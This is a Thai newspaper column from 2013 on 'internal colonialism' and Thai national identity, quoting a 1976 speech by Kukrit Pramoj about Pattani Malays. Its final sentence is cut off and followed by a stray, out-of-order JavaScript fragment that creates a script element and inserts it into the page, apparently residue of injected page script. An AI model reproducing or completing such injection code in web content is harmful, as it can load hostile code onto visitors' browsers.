มติชนรายวัน ฉบับประจำวันจันทร์ที่ 18 มีนาคม 2556

 

          ความเป็นไทย สืบเนื่องจากสยาม มีขอบเขตหลวมๆอยู่บริเวณลุ่มน้ำเจ้าพระยาภาคกลางเท่านั้น

          นอกนั้นไม่ไทย แต่เป็นคนอื่น พวกอื่น เช่น ทางเหนือ เป็น ลาว, ทางอีสาน เป็น ลาว, ทางใต้ เป็นชาวนอก ชาวเทศ หรือแขกมลายู

          ต่อมาแผ่อำนาจได้ดินแดนของคนอื่น พวกอื่น ให้อยู่ในปกครองของความเป็นไทย แล้วตีขลุมมุบมิบว่าทั้งหมดเป็นดินแดนของไทยมาแต่ดั้งเดิม

          นานเข้าก็จัดระเบียบการปกครองใหม่ ทำให้มีส่วนกลางและส่วนภูมิภาคที่ไม่เสมอภาค

          มีผู้รู้จำนวนมากบอกว่าลักษณะไม่เสมอภาคนี้ มีคำเรียกอีกว่าระบบอาณานิคมภายใน ที่ผมไม่เคยได้ยิน ไม่เคยรู้ และไม่เคยเข้าใจมาก่อน

          แต่มีคำอธิบายอยู่ในหนังสือรวมบทความชุดมานุษยวิทยากับประวัติศาสตร์ ของ อ. สุเทพ สุนทรเภสัช (สำนักพิมพ์เมืองโบราณ รวมพิมพ์ครั้งแรก พ.ศ. 2540) จะสรุปมาพอจับใจความง่ายๆดังนี้

          ระบบอาณานิคมภายใน (Internal Colonialism) หมายถึงส่วนกลางมีอำนาจทางการเมืองเหนือกว่า และมุ่งแสวงหาผลประโยชน์ทุกอย่างจากดินแดนส่วนภูมิภาคซึ่งอยู่รอบนอก

          การเปลี่ยนแปลงไปสู่สมัยใหม่ (Modernization) โดยไม่ทั่วถึงจากส่วนกลางสู่ส่วนภูมิภาครอบนอก เป็นเหตุให้ดินแดนบางแห่งเจริญและบางแห่งไม่เจริญ

          ผลที่เกิดตามมาในระยะแรก คือความไม่เสมอภาคทางการกระจายทรัพยากรและอำนาจทางการเมืองระหว่างส่วนกลางกับส่วนภูมิภาครอบนอก

          กลุ่มผู้คุมอำนาจที่อยู่ส่วนกลางจะพยายามรักษาเสถียรภาพ และผูกขาดความได้เปรียบของตนไว้ โดยอาศัยแนวนโยบายและข้ออ้างต่างๆสุดแต่ส่วนกลางจะเสกสรรปั้นแต่งขึ้น เช่น ความเป็นไทย, ความเป็นประเทศไทยอันแบ่งแยกมิได้, ฯลฯ

          ขณะเดียวกันก็สนับสนุนยกย่องคนจากส่วนกลางและคนที่ยอมอ่อนข้อให้ได้เปรียบคนพื้นเมืองที่ไม่ยอมอ่อนข้อ

          กลุ่มที่เสียเปรียบในภูมิภาครอบนอกก็จะหันกลับไปยกระดับวัฒนธรรมของตน ให้มีความสำคัญเทียบเท่า หรือเหนือกว่าวัฒนธรรมส่วนกลางของผู้ได้เปรียบ

          ผู้เสียเปรียบและเครือข่ายมีสำนึกว่าตัวเองเป็นอีกประชาชาติหนึ่ง แล้วพยายามดิ้นรนเป็นอิสระจากอำนาจและอิทธิพลของส่วนกลาง

          ทั้งหมดที่ยกมานี้ ผมจับใจความสรุปจากงานวิชาการของ อ. สุเทพ

          ขณะที่คนจำนวนหนึ่งอ้างความเป็นไทย ก็ต้องเคารพคนอีกจำนวนหนึ่งด้วยที่ไม่ทำตาม เพราะมีสำนึกว่าเขาเป็นอีกประชาชาติหนึ่ง (แต่ถูกความเป็นไทยกดทับ)

          “เราหลอกเขาว่าเขาเป็นคนไทย ซึ่งที่จริงเขาเป็นคนมลายู ตัวที่เป็นปัญหาก็คือ การหลอกว่าตัวเขาเองเป็นคนไทย” เป็นตอนหนึ่งในคำปราศรัยของนายกรัฐมนตรี ม.ร.ว. คึกฤทธิ์ ปราโมช (เมื่อวันที่ 1 กุมภาพันธ์ 2519 หลังเหตุการณ์ประท้วงที่ จ. ปัตตานี ที่ยืดเยื้อเป็นแรมเดือนตั้งแต่ปลายปี 2518 ถึงต้นปี 2519) แล้วมีข้อความปราศรัยต่อไปอีกว่า

          “อย่าบังคับให้เขาเป็นคนไทย—ส่งเสริมให้เขาเป็นตัวของเขา รักษาเอกลักษณ์ (Identity) ชนมลายูไว้ แต่ไม่ใช่ให้สิทธิเหนือคนที่นับถือศาสนาพุทธซึ่งอาศัยอยู่ในจังหวัดนี้  —ที่เราดำเนินงานผ่านมาเริ่มต้นก็ผิดแล้ว คือบอกว่า ‘แขกเป็นไทย’

          กรณีบังคับให้ “แขกเป็นไทย” ก่อให้เกิดปัญหาบาดหมางลึกๆ ทางสังคมและวัฒนธรรมสืบเนื่องยาวนานนับศตวรรษ

          แล้วยังจะสืบเนื่องต่อไปอีก ตราบเท่าที่คนชั้นนำไทยไม่ยอมรับความจริงเรื่องอาณานิคมของความเป็นไทย ซึ่งต้องปลดปล่อยdocument.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement(‘script’);